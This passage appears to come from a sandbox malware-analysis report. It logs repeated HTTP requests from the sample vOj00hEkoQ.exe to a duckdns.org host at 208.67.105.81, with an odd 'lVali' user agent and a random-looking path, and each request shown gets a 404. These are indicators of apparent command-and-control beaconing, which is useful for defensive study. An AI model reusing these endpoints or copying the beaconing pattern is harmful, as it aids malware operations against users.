2022-08-05 10:11:01 UTC	14	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:01 UTC	14	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:01 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:01 UTC	14	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.6	49800	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:01 UTC	14	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:01 UTC	14	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:01 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:01 UTC	15	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.6	49801	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:04 UTC	15	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:04 UTC	15	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:04 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:04 UTC	15	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.6	49803	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:05 UTC	15	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:05 UTC	15	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:05 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:05 UTC	15	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.6	49806	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:05 UTC	16	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:05 UTC	16	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:05 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:05 UTC	16	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.6	49810	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:06 UTC	16	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:06 UTC	16	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:06 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:06 UTC	16	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.6	49748	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:10:30 UTC	1	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:10:30 UTC	1	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:10:30 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:10:30 UTC	1	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.6	49814	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:06 UTC	16	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:06 UTC	17	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:06 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:06 UTC	17	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.6	49816	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:07 UTC	17	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:07 UTC	17	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:07 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:07 UTC	17	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.6	49818	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:08 UTC	17	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:08 UTC	17	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:08 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:08 UTC	18	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.6	49819	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:08 UTC	18	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:08 UTC	18	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:08 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:08 UTC	18	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.6	49820	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:09 UTC	18	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:09 UTC	18	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:09 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:09 UTC	18	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.6	49823	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:11 UTC	19	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:11 UTC	19	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:11 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:11 UTC	19	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.6	49825	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:11 UTC	19	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:11 UTC	19	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:11 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:11 UTC	19	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.6	49827	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:13 UTC	19	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:13 UTC	20	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:13 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:13 UTC	20	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.6	49830	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:13 UTC	20	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:13 UTC	20	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:13 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:13 UTC	20	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.6	49831	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:14 UTC	20	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:14 UTC	20	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:14 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:14 UTC	21	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.6	49754	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:10:31 UTC	2	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:10:31 UTC	2	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:10:31 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:10:31 UTC	2	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.6	49832	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:15 UTC	21	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:15 UTC	21	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:15 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:15 UTC	21	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.6	49833	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:16 UTC	21	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:16 UTC	21	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:16 GMT Content-Type: text/html Content-Length: 146 Connection: close
